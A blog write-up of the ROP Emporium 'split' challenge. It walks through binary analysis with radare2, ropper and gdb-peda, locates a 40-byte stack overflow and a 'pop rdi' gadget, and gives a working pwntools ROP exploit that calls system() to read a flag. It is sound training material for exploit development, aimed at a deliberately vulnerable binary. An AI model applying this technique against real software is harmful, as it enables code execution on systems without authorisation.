ROP Emporium - split


In the previous post I tried to explain what ROP is and how I solved the ROP Emporium ret2win. This write-up will be about the second challenge: split. We'll look at finding our first gadget and how to go about using it in a chain.

Exploring the binary

First explore the binary to see what we're up against:

$ rabin2 -I split | grep nx
nx       true
$ rabin2 -z split
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000008a8 0x004008a8  21  22 (.rodata) ascii split by ROP Emporium
001 0x000008be 0x004008be   7   8 (.rodata) ascii 64bits\n
002 0x000008c6 0x004008c6   8   9 (.rodata) ascii \nExiting
003 0x000008d0 0x004008d0  43  44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x000008ff 0x004008ff   7   8 (.rodata) ascii /bin/ls
000 0x00001060 0x00601060  17  18 (.data) ascii /bin/cat flag.txt
$ nm split  | grep ' t '
0000000000400700 t __do_global_dtors_aux
0000000000600e18 t __do_global_dtors_aux_fini_array_entry
0000000000600e10 t __frame_dummy_init_array_entry
0000000000600e18 t __init_array_end
0000000000600e10 t __init_array_start
0000000000400680 t deregister_tm_clones
0000000000400720 t frame_dummy
00000000004007b5 t pwnme
00000000004006c0 t register_tm_clones
0000000000400807 t usefulFunction
jasper@ropper:~/ropemporium/split$ r2 -AAAA split
[x] Analyze all flags starting with sym. and entry0 (aa)
[Invalid instruction of 860 bytes at 0x4000ec
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x00400650]> afl
0x00400048    1 164          fcn.00400048
0x004005a0    3 26           sym._init
0x004005d0    1 6            sym.imp.puts
0x004005e0    1 6            sym.imp.system
0x004005f0    1 6            sym.imp.printf
0x00400600    1 6            sym.imp.memset
0x00400610    1 6            sym.imp.__libc_start_main
0x00400620    1 6            sym.imp.fgets
0x00400630    1 6            sym.imp.setvbuf
0x00400640    1 6            sub.__gmon_start_400640
0x00400650    1 41           entry0
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    4 58   -> 55   sym.register_tm_clones
0x00400700    3 28           sym.__do_global_dtors_aux
0x00400720    4 38   -> 35   entry.init0
0x00400746    1 111          sym.main
0x004007b5    1 82           sym.pwnme
0x00400807    1 17           sym.usefulFunction
0x00400820    4 101          sym.__libc_csu_init
0x00400890    1 2            sym.__libc_csu_fini
0x00400894    1 9            sym._fini
[0x00400650]>

Looking at the binary we see a call from main() to pwnme() which does call fgets() to read user input.

|           0x004007ff      e81cfeffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)

from the initial nm output we see another interesting function worth exploring with radare2:

[0x00400650]> pdf @sym.usefulFunction
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      55             push rbp
|           0x00400808      4889e5         mov rbp, rsp
|           0x0040080b      bfff084000     mov edi, str.bin_ls         ; 0x4008ff ; "/bin/ls"
|           0x00400810      e8cbfdffff     call sym.imp.system         ; int system(const char *string)text
|           0x00400815      90             nop
|           0x00400816      5d             pop rbp
\           0x00400817      c3             ret
[0x00400650]>

If we simply jump to the beginning of this function at 0x00400807 we end up putting /bin/ls into EDI so before jumping to the actual system() call at 0x00400810 we need to find another gadget, namely the string to cat the flag. We have seen a reference before at 0x00601060, which happens to have a interesting name:

jasper@ropper:~/ropemporium/split$ readelf --syms split  |grep 601060
    66: 0000000000601060    26 OBJECT  GLOBAL DEFAULT   25 usefulString
jasper@ropper:~/ropemporium/split$ rabin2 -z split  | grep 0x00601060
000 0x00001060 0x00601060  17  18 (.data) ascii /bin/cat flag.txt
jasper@ropper:~/ropemporium/split$

Looking at the function signature of system() we can see that:

system(const char *command);

The argument should not be the literal string, but instead it must be a pointer to the string.

The calling convention for amd64 requires the first argument to a function is to be set in the RDI register. This makes it easier for us to look for a particular gadget:

jasper@ropper:~/ropemporium/split$ ropper --file split --search "pop rdi"
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: split
0x0000000000400883: pop rdi; ret;

jasper@ropper:~/ropemporium/split$

If we can get 0x00601060 onto the stack by ways of our overflow, we can pop it into RDI (so RDI now contains a reference to the address of the string), jump to 0x00400810 and get our flag.

Looks like we have almost all the ingredients for our exploit.

Writing the exploit

Let's continue by verifying the overflow:

gdb-peda$ pattern create 50 input
Writing pattern of 50 chars to filename "input"
gdb-peda$ run < input
[...]
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe380 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
RBX: 0x0
RCX: 0xfbad2098
RDX: 0x7fffffffe380 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
RSI: 0x7ffff7fbf590 --> 0x0
RDI: 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe3a8 ("AA0AAFAAbA")
RIP: 0x400806 (<pwnme+81>:      ret)
R8 : 0x0
R9 : 0x63 ('c')
R10: 0x7ffff7fbcca0 --> 0x603260 --> 0x0
R11: 0x246
R12: 0x400650 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe490 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 32
Registers point to pattern buffer:
[RAX] --> offset 0 - size ~50
[RDX] --> offset 0 - size ~50
[RSP] --> offset 40 - size ~10
Pattern buffer found at:
0x00602260 : offset    0 - size   50 ([heap])
0x00007fffffffe380 : offset    0 - size   50 ($sp + -0x28 [-10 dwords])
References to pattern buffer found at:
0x00007ffff7fbca08 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007ffff7fbca10 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007ffff7fbca18 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007ffff7fbca20 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007ffff7fbca28 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007ffff7fbca30 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007ffff7fbca38 : 0x00602260 (/lib/x86_64-linux-gnu/libc-2.29.so)
0x00007fffffffe190 : 0x00602260 ($sp + -0x218 [-134 dwords])
0x00007fffffffb760 : 0x00007fffffffe380 ($sp + -0x2c48 [-2834 dwords])
0x00007fffffffe308 : 0x00007fffffffe380 ($sp + -0xa0 [-40 dwords])
0x00007fffffffe338 : 0x00007fffffffe380 ($sp + -0x70 [-28 dwords])

So it seems we have an overflow at 40 bytes looking at the output above for the RSP register.

My initial exploit with pwntools didn't work so I wrote it in plain Python to emit it to a file used as input from gdb-peda. Using this method I could set a breakpoint at the fgets() call and inspect how the stack looked at that point and step through the execution. This way I found out I initially created a malformed stackframe because I put the usefulString first, followed by the system() call and finally the pop rdi gadget because I was thinking of pushing items onto the stack (in reverse order). It is important to realise that Return Oriented Programming is simply a different programming paradigm, but you still have the execution order like this for our exploit so it's actually really easy to read:

  1. first gadget; return
  2. arguments for first gadget
  3. function call

Since we handcrafted the stack there is no proper return address after usefulFunction() completed so it ends up crashing, that's fine for now.

The final exploit then becomes:

#!/usr/bin/env python2

from pwn import *

def exploit():
    context(arch='x86_64', os='linux')

    # Start a new process and wait until we hit the prompt
    s = process('./split')
    s.recvuntil('> ')

    # Padding
    s.send('A' * 40)

    # pop rdi; ret
    s.send(p64(0x400883))

    # usefulString
    s.send(p64(0x601060))

    # system()
    s.send(p64(0x400810))

    s.sendline()

    print(s.recv())

if __name__ == '__main__':
    exploit()
jasper@ropper:~/ropemporium/split$ python split.py
[+] Starting local process './split': pid 11721
ROPE{a_placeholder_32byte_flag!}

[*] Stopped process './split' (pid 11721)
jasper@ropper:~/ropemporium/split$

Conclusion

This challenge introduced the concept of looking for a gadget and writing your first actual ROP chain. Finding and combining the right gadgets is at the heart of ROP and there are many tools in varying degrees of sophistication which can help in this process. For the ROP Emporium exploits I've mostly used ropper and radare2 to find the gadgets. At least ropper and ROPgadget can also be used to attempt to create a full chain to execute an arbitrary command. More advanced tools such as nrop and angrop can also be used although I haven't spent too much time exploring these yet.